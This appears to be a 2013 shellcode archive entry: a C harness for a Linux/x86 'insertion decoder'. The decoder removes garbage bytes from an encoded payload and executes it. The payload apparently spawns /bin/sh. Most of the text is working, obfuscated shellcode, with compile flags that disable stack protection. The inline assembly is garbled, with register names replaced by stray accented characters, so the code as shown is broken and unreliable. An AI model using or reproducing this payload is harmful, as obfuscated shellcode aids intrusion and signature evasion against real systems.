Linux/x86 - Insertion Decoder Shellcode (33+ bytes)
2013-01-01 12:05:03/*
Insertion Decoder Shellcode - C Language - Linux/x86
Copyright (C) 2013 Geyslan G. Bem, Hacking bits
http://hackingbits.com
[email protected]
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*
insertion_decoder_shellcode
* decoder has 33 bytes (the final amount depends on the shellcode length plus garbage bytes)
* null-free
* decodes any pattern of garbage insertion
Eg: True Byte = X, Garbage Byte = _
_ X _ X _ ...
X _ _ X X ...
X X X _ _ ...
# gcc -m32 -fno-stack-protector -z execstack insertion_decoder_shellcode.c -o insertion_decoder_shellcode
Testing
# ./insertion_decoder_shellcode
*/
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = \
// Shellcode Decoder (33 bytes)
"\xeb\x1a\x5e\x8d\x3e\x31\xc9\x8b\x1c\x0e"
"\x41\x66\x81\xfb"
"\xf1\xf1" // <- End Signature
"\x74\x0f\x80\xfb"
"\x3f" // <- Garbage Byte
"\x74\xf0\x88\x1f\x47\xeb\xeb\xe8\xe1\xff"
"\xff\xff"
// Encoded shellcode (length depends of the shellcode plus garbage bytes)
"\x3f\x3f\x3f\x31\x3f\xc9\x3f\xf7\xe1\x3f"
"\xb0\x0b\x3f\x51\x68\x3f\x2f\x2f\x3f\x73"
"\x68\x3f\x68\x2f\x3f\x62\x69\x3f\x6e\x89"
"\x3f\xe3\xcd\x3f\x80\xf1\xf1";
main ()
{
// When contains null bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(shellcode));
// Pollutes all registers ensuring that the shellcode runs in any circumstance.
__asm__ ("movl $0xffffffff, êx\n\t"
"movl êx, ëx\n\t"
"movl êx, ìx\n\t"
"movl êx, íx\n\t"
"movl êx, %esi\n\t"
"movl êx, íi\n\t"
"movl êx, ëp\n\t"
// Calling the shellcode
"call shellcode");
}
Fixes
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